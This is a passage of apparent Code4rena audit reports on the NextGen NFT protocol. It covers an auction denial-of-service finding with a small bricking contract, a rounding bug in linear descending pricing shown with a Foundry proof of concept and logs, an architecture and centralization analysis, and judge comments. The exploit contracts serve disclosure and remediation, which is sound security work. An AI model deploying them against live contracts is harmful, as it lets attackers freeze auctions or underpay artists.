in the test folder and add the following to it:
pragma solidity 0.8.19; import {auctionDemo} from "../smart-contracts/AuctionDemo.sol"; contract BrickContract { auctionDemo public aDemo; constructor(address _aDemo) { aDemo = auctionDemo(_aDemo); } function bid(uint256 _nftId) public payable { aDemo.participateToAuction{value: msg.value}(_nftId); } }
To run the test use: forge test -vvv --mt test_BrickAuctionDemo
Foundry & Manual review
Consider adding separate functions where the other bidders can withdraw the amount they have bid after the Auction is completed, as well as add such function for the NFT owner that put their NFT for an auction, so he can withdraw his earnings. Consider utilizing the Pull over Push pattern https://fravoll.github.io/solidity-patterns/pull_over_push.html
Token-Transfer
#0 - c4-pre-sort
2023-11-15T10:44:39Z
141345 marked the issue as duplicate of #843
#1 - c4-pre-sort
2023-11-16T13:35:08Z
141345 marked the issue as duplicate of #486
#2 - c4-judge
2023-12-05T22:20:45Z
alex-ppg marked the issue as not a duplicate
#3 - c4-judge
2023-12-05T22:20:55Z
alex-ppg marked the issue as duplicate of #739
#4 - c4-judge
2023-12-08T22:22:53Z
alex-ppg marked the issue as partial-50
#5 - c4-judge
2023-12-09T00:23:13Z
alex-ppg changed the severity to 2 (Med Risk)
800.6263 USDC - $800.63
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/MinterContract.sol#L540-L564
When a collection is using linear descending sale model the last period will return lower price than expected. When setCollectionCosts()
is set with the following parameters for example:
nextGenMinterContract.setCollectionCosts( 1, // _collectionID 4.1e18, // _collectionMintCost 4.1 eth - Starting Price 3e18, // _collectionEndMintCost 3 eth - Resting Price 0.2e18, // _rate 600, // _timePeriod 2, // _salesOptions delAddress // delAddress );
The problem comes in the following line:
if (((collectionPhases[_collectionId].collectionMintCost - collectionPhases[_collectionId].collectionEndMintCost) / (collectionPhases[_collectionId].rate)) > tDiff)
. In Solidity, division rounds towards zero. As shown in the example parameters above if collectionMintCost
is 4.1e18
, collectionEndMintCost
is 3e18
and the rate
is 0.2e18
, the left part of the if statement will try to divide 1.1e18
with 0.2e18
resulting in 5
. Accordign to the docs: At each time period (which can vary), the minting cost decreases linearly until it reaches its resting price (ending minting cost) and stays there until the end of the minting phase
. When the left side of the if statement is compared to tDiff
, which shows how many periods have passed since the start of the sale in the last period of the sale, the check won't pass and will directly return the collectionEndMintCost
price, which is lower than the expected price for the period. When a user pays less for an NFT the MinterContract.sol
receives less ETH than it is expected by the artist of the collection and the team. As the payArtist()
function distributes the funds generated by a certain collection to addresses supplied by the artist and the team of nextgen. This results in a loss for both the artist of the collection and the nextgen team. The supplied values are not a single magic combination that leads to this issue, there are a lot of possible combinations. As stated in the docs a period can be a minute, hour or a day. In the scenario where users are allowed to mint NFTs for a day on a discounted price the losses for the protocol will be big. This can happen in a lot of collections utilizing the linear descending sale model thus the high severity. In the below POC the parameters set in setCollectionCosts()
are chosen for simplicity and close representation of the parameters provided in the docs for the linear descending sale model. As can be seen from the Logs the price in the 6th period is supposed to be 3.1e18
but in realty is 3e18
.
Note:
This is a completely different issue than the known issue presented by the team in the docs as this issue pertains to the linear descending sale model and is not concerned with a low minting cost: We are aware of the price rounding errors when the Exponential Descending Sales Model is used and the minting cost is low, thus any finding on this is not valid.
To run the POC first follow the steps in this link: https://hardhat.org/hardhat-runner/docs/advanced/hardhat-and-foundry in order to add foundry to the project.
Create a AuditorPriceTests.t.sol
file in the test folder and add the following to it:
pragma solidity 0.8.19; import {Test, console} from "forge-std/Test.sol"; import {DelegationManagementContract} from "../smart-contracts/NFTdelegation.sol"; import {randomPool} from "../smart-contracts/XRandoms.sol"; import {NextGenAdmins} from "../smart-contracts/NextGenAdmins.sol"; import {NextGenCore} from "../smart-contracts/NextGenCore.sol"; import {NextGenMinterContract} from "../smart-contracts/MinterContract.sol"; import {NextGenRandomizerNXT} from "../smart-contracts/RandomizerNXT.sol"; import {auctionDemo} from "../smart-contracts/AuctionDemo.sol"; import {ReentrancyAuctionDemo} from "./ReentrancyAuctionDemo.sol"; contract AuditorPriceTests is Test { DelegationManagementContract public delegationManagementContract; randomPool public rPool; NextGenAdmins public nextGenAdmins; NextGenCore public nextGenCore; NextGenMinterContract public nextGenMinterContract; NextGenRandomizerNXT public nextGenRandomizerNXT; auctionDemo public aDemo; ReentrancyAuctionDemo public reentrancyAuctionDemo; address public contractOwner = vm.addr(1); address public alice = vm.addr(2); address public bob = vm.addr(3); address public hacker = vm.addr(4); address public globalAdmin = vm.addr(5); address public collectionAdmin = vm.addr(6); address public functionAdmin = vm.addr(7); address public john = vm.addr(8); address public auctionNftOwner = vm.addr(9); address public tom = vm.addr(10); address public delAddress = address(0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B); bytes32 public merkleRoot = 0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870; function setUp() public { vm.startPrank(contractOwner); /// INFO: Deploy contracts delegationManagementContract = new DelegationManagementContract(); rPool = new randomPool(); nextGenAdmins = new NextGenAdmins(); nextGenCore = new NextGenCore("Next Gen Core", "NEXTGEN", address(nextGenAdmins)); nextGenMinterContract = new NextGenMinterContract(address(nextGenCore), address(delegationManagementContract), address(nextGenAdmins)); nextGenRandomizerNXT = new NextGenRandomizerNXT(address(rPool), address(nextGenAdmins), address(nextGenCore)); /// INFO: Set admins nextGenAdmins.registerAdmin(globalAdmin, true); nextGenAdmins.registerCollectionAdmin(1, collectionAdmin, true); nextGenAdmins.registerCollectionAdmin(2, collectionAdmin, true); vm.stopPrank(); /// INFO: Set up collection in genCore vm.startPrank(globalAdmin); string[] memory collectionScript = new string[](1); collectionScript[0] = "desc"; nextGenCore.createCollection("Test Collection 1", "Artist 1", "For testing", "www.test.com", "CCO", "https://ipfs.io/ipfs/hash/", "", collectionScript); nextGenCore.addRandomizer(1, address(nextGenRandomizerNXT)); nextGenCore.addMinterContract(address(nextGenMinterContract)); vm.stopPrank(); /// INFO: Set up collection params in minter contract vm.startPrank(collectionAdmin); /// INFO: Set up collection 1 nextGenCore.setCollectionData(1, collectionAdmin, 2, 10000, 1000); nextGenMinterContract.setCollectionCosts( 1, // _collectionID 4.1e18, // _collectionMintCost 4.1 eth - Starting Price 3e18, // _collectionEndMintCost 3 eth - Resting Price 0.2e18, // _rate 600, // _timePeriod 2, // _salesOptions delAddress // delAddress ); nextGenMinterContract.setCollectionPhases( 1, // _collectionID 600, // _allowlistStartTime 600, // _allowlistEndTime 600, // _publicStartTime 6000, // _publicEndTime merkleRoot // _merkleRoot ); /// INFO: Deploy AuctionDemo contract and approve contract to transfer NFTs vm.startPrank(auctionNftOwner); aDemo = new auctionDemo(address(nextGenMinterContract), address(nextGenCore), address(nextGenAdmins)); nextGenCore.setApprovalForAll(address(aDemo), true); vm.stopPrank(); } function test_RoundingDownInLinearDescending() public { skip(600); console.log("This is the current block timestamp: ", block.timestamp); console.log("Get the price to mint for a collection with linear descending: ", nextGenMinterContract.getPrice(1)); skip(600); console.log("This is the current block timestamp: ", block.timestamp); console.log("Get the price to mint for a collection with linear descending: ", nextGenMinterContract.getPrice(1)); skip(600); console.log("This is the current block timestamp: ", block.timestamp); console.log("Get the price to mint for a collection with linear descending: ", nextGenMinterContract.getPrice(1)); skip(600); console.log("This is the current block timestamp: ", block.timestamp); console.log("Get the price to mint for a collection with linear descending: ", nextGenMinterContract.getPrice(1)); skip(600); console.log("This is the current block timestamp: ", block.timestamp); console.log("Get the price to mint for a collection with linear descending: ", nextGenMinterContract.getPrice(1)); skip(600); console.log("This is the current block timestamp: ", block.timestamp); console.log("Get the price to mint for a collection with linear descending: ", nextGenMinterContract.getPrice(1)); /// INFO: Alice mints an NFT cheaper than she should resulting in the protocol loosing money vm.startPrank(alice); vm.deal(alice, 3e18); bytes32[] memory merkleProof = new bytes32[](1); merkleProof[0] = merkleRoot; nextGenMinterContract.mint{value: 3e18}(1, 1, 1, "{'tdh': '100'}", alice, merkleProof, alice, 2); assertEq(alice.balance, 0); assertEq(alice, nextGenCore.ownerOf(10_000_000_000)); vm.stopPrank(); } }
Logs: This is the current block timestamp: 601 Get the price to mint for a collection with linear descending: 4100000000000000000 This is the current block timestamp: 1201 Get the price to mint for a collection with linear descending: 3900000000000000000 This is the current block timestamp: 1801 Get the price to mint for a collection with linear descending: 3700000000000000000 This is the current block timestamp: 2401 Get the price to mint for a collection with linear descending: 3500000000000000000 This is the current block timestamp: 3001 Get the price to mint for a collection with linear descending: 3300000000000000000 This is the current block timestamp: 3601 Get the price to mint for a collection with linear descending: 3000000000000000000
To run the test use the following command: forge test -vvv --mt test_RoundingDownInLinearDescending
Manual Review & Foundry
Consider rounding up the results of the left side of the if statement if (((collectionPhases[_collectionId].collectionMintCost - collectionPhases[_collectionId].collectionEndMintCost) / (collectionPhases[_collectionId].rate)) > tDiff)
or using =>
instead of >
.
Math
#0 - c4-pre-sort
2023-11-22T00:11:55Z
141345 marked the issue as sufficient quality report
#1 - c4-pre-sort
2023-11-22T02:11:49Z
141345 marked the issue as duplicate of #393
#2 - c4-judge
2023-12-08T22:35:47Z
alex-ppg marked the issue as satisfactory
#3 - c4-judge
2023-12-09T00:24:18Z
alex-ppg changed the severity to 2 (Med Risk)
π Selected for report: MrPotatoMagic
Also found by: 3th, Fulum, JohnnyTime, K42, Kose, SAAJ, Toshii, catellatech, cats, clara, digitizeworx, dimulski, dy, glcanvas, hunter_w3b, ihtishamsudo, niki, peanuts
262.6934 USDC - $262.69
During this 14-days audit the codebase was tested in various different ways. The first step after cloning the repository was ensuring that all tests provided pass successfully when run. After that began the phase when I got some high-level overview of the functionality by reading the code. There were some parts of the project that caught my attention. These parts were tested with Foundry POCs. Some of them were false positives, others turned out to be true positives that were reported. The contest's main page does a wonderful job providing main invariants that should never be broken and ideas for exploits. The gitbook was also a good resource especially when it came to better understanding the different sales models.
Nextgen is a protocol that allows artist to create different collection utilizing the structure provided by Nextgen. There can be many different collections created with max 10_000_000_000 different NFTs that can be minted per collection. Each collection can have different artist, total supply, name, license, baseURi, library, description and collections script set in the NextGenCore contract. Additionally max collection purchases for each user can be set. The MinterContract is the contract responsible for minting the NFTs. Each collection can chose different sales model, specifying different sales structures. The protocol has been structured in a very systematic and ordered manner, which makes it easy to understand how the function calls propagate throughout the system. The NextGenCore contract allows different source of randomness implementations to be set for different collections, as well as different MinterContract and Admin contract which are reviewed in depth in Mechanism review section. I would recommend the team to reconsider the possibility of the admin contract to be changed, and instead implement a two step ownership transfer in the Admin Contract, thus the possibility of a malicious admin changing the Admin Contract to a malicious contract of his choosing will be nullified.
The structure of the project is quite messy, all of the smart contract are placed in the same folder, including the interfaces. I would recommend to better structure the project, separate the interfaces, libs and contracts in separate folders. Group contracts that share purpose in the same folders. Instead of implementing (mainly coping) well known standards for which OpenZeppelin or Solady have battle tested implementations install the required libraries and import the required contracts. This leads to a much better structured project which is easier to navigate. This also pertains for the interfaces and libs. Nat spec comments are missing in the whole codebase. Some of the functions in the code contain a lot of logic in themselves, which adds a layer of complexity to the protocol. For example the mint function checks for different phases a sale can be in, then executes separate logic for each phase, additionally checking for the sale price model and if the price model is a periodic sale executes additional steps. Logic can be split in different functions, making the code more readable and easier for testing. There are no tests present in the codebase supplied for the audit, although sponsors have mentioned that there are tests. Although based on some of the vulnerabilities I discovered during this audit I guess only best case scenarios have been tested. I would recommend the the integration of fuzz and integrations tests.
In order for a collection to be created an Admin first have to execute the createCollection function in the NextGenCore contract setting the collection name, artist, description, website, license, baseUri, library and Script. Later on a Collection Admin have to be first registered to the Admin Contract for the specified collection, and the he can set the collection total supply, as well as change the artist address and define a max number of NFTs a user can purchase from the specific collection. Once collection parameters are set and a randomizer contract is added for the specified collection parameters for the sale of the collection can be set in the MinterContract. First the collection cost have to be set in the MintingContract as they consist of initial minting price, final mint cost, rate, time period, delegation address and a sales option which refers to the different sales model supported by the Nextgen protocol Sales Models. Each sales model dictates a different way each NFT will be sold which also determines the profits the artist of the collection will earn. After the collection costs are set the collection phases can be set which again can only be set by an admin or collection admin. Each collection can have different phases one for whitelisted users, and one for public sale. There is no requirement that there is only one or two phases as the collection phases parameters can be changed multiple times, resulting in newer phases with up to date starting and ending time. Once all that is configure normal users can start minting tokens.
Ethereum Mainnet
The Core is the contract where the ERC721 tokens are minted and includes all the core functions of the ERC721 standard as well as additional setter & getter functions. The Core contract holds the data of a collection such as name, artist's name, library, script as well as the total supply of a collection. In addition, the Core contract integrates with the other NextGen contracts to provide a flexible, adjustable, and scalable functionality. Supports the creation of separate collections with different characteristics from a single ERC721 contract. All important information about a collection is stored in the NextGenCore contract. A feature of Nextgen is the possibility to freeze a collection thus making sure the baseUri, and other important parameters of each collection can never be changed. Additionally the contract implements the minting and burning functions, as the minting function can only be called from the MinterContract. Users are allowed to call a burn function directly on the NExtGenCore but they will only burn their NFT and gain nothing. Important checks regarding the if totalSupply is not exceeded are done in the NextGenCore contract as well. In addition it supports the airDropTokens() function as well as the burnToMint() function which again can only be called from the MinterContract. The airDropTokens() function mints NFT tokens to specified users and the burnToMint() function allows users to burn their mintpass in order to mint an NFT from a different collection.
The Minter contract is used to mint an ERC721 token for a collection on the Core contract based on certain requirements that are set prior to the minting process. The Minter contract holds all the information regarding an upcoming drop such as starting/ending times of various phases, Merkle roots, sales model, funds, and the primary and secondary addresses of artists. The MinterContract is the gateway for a normal user to interact with the protocol, from there he can mint an NFT he desires, during the different phases of a collection. He can only mint during the allowList phase if he has been pre approved. Every user can mint during the public phase of a collection as long as he has enough funds. The burnOrSwapExternalToMint() functions allow users to burn tokens from collections that are not native to the Nextgen protocol, and in turn mint an NFT from a collection on Nextgen. Such external collections have to first be approved by an admin, and minting NFTs for a Nextgen native collection is only for a specific collection. The burnToMint() function allows a user to burn tokens from one collection and mint an NFT to another, again collections must first be approved by an admin. The mintAndAuction() function can only be called by an admin and creates and auction for a specific NFT, this function can only be called over specified time periods. When an auction for an NFT is created users can bid in order to win the NFT, only the Highest bidder can then claim the NFT (the claimAuction() function can also be called by an admin). The proceeds from the auction are received by an admin controlled wallet. Although the auction contract has a lot of vulnerabilities this is an important feature of the Nextgen protcol.
The Auction Demo contract purpose is to allow users to bid for a certain NFT for a specific time duration. There is no min price from which the bidding starts. Each user bids are not accumulated, if a user is outbid by 1 WEI, he will have to withdraw his bid and then bid again in order to become the highest bidder. The contract is completely broken containing multiple ways to be bricked or taken advantage of by malicious users. There are several things I would recommend the protocol to implement in order to fix the contract. First implement the Pull over Push pattern: https://fravoll.github.io/solidity-patterns/pull_over_push.html . Second instead of keeping all bids in array and looping trough it, making it very easy for a malicious actor to supply multiple bids with low amounts of WEI and brick the whole functionality. Implementing the Pull over Push pattern you can only store the highest bidder for a certain NFT. In order to easily track all bidders, combine each user's bid into a single bid, for example john bids 1 EHT, then bob bids 1.1 ETH and becomes the highest bidder, then john bids 0.2 ETH and becomes the highest bidder again. This way you won't have to loop over all bids every time a user wants to submit a bid, and user bids are accumulated. After an auction is over allow all the bidders that lost to execute a withdraw request and get their funds back. Implement the Push over Pull pattern for the address who put the NFT for auction, as this way if a malicious users wins the bidding (for example with a contract, to which an NFT can't be transferred), the address who put the NFT for auction can still withdraw the winning bid.
The Randomizer contract is responsible for generating a random hash for each token during the minting process. Once the hash is generated is sent to the Core contract that stores it to be used to generate the generative art token. NextGen currently considers 3 different Randomizer contracts that can be used for generating the tokenHash.
There is not much else to be said about the Randomizer contracts, except that they contain systemic risks as two of the randomizer contract implementations depend on third party systems in order to work correctly. As for the custom implementation contract for randomness of the Nextgen team block.prevrando
is not entirely safe method for randomness as there are couple possible attacks such as:
The admin contract and its roles are reviewed in the Centralization risks section.
1. Trusted Roles
2. Normal Roles
The Admin contract is responsible for adding or removing global or function-based admins who are allowed to call certain functions in both the Core and Minter contracts. The Core and Minter contract call the Admin contract in order to check if a certain user is allowed to call a function. The Admin contract address can be changed by a Function Admin, to a contract where the owner is the Function Admin, but this will require the admin to be malicious. Owner, Global Admins and Functions Admins can damage the protocol and the normal users including the collection artists in different ways. The code base is heavily centralized but the sponsors have mentioned that the trusted admins will be trusted gnosis safe wallets with 2/3 or 3/4 signatures so they will check if a request is malicious or not. Compromising the trusted addresses will be extremely difficult. That said users of the protocol can never be 100% sure that the owners or admins won't rug pull them, in the case of Nextgen this is also true for the artists of the collections as all funds from the minting contract can be withdrawn by the admins via the emergencyWithdraw.
25 hours
#0 - c4-pre-sort
2023-11-27T14:58:13Z
141345 marked the issue as sufficient quality report
#1 - c4-judge
2023-12-07T16:49:09Z
alex-ppg marked the issue as grade-a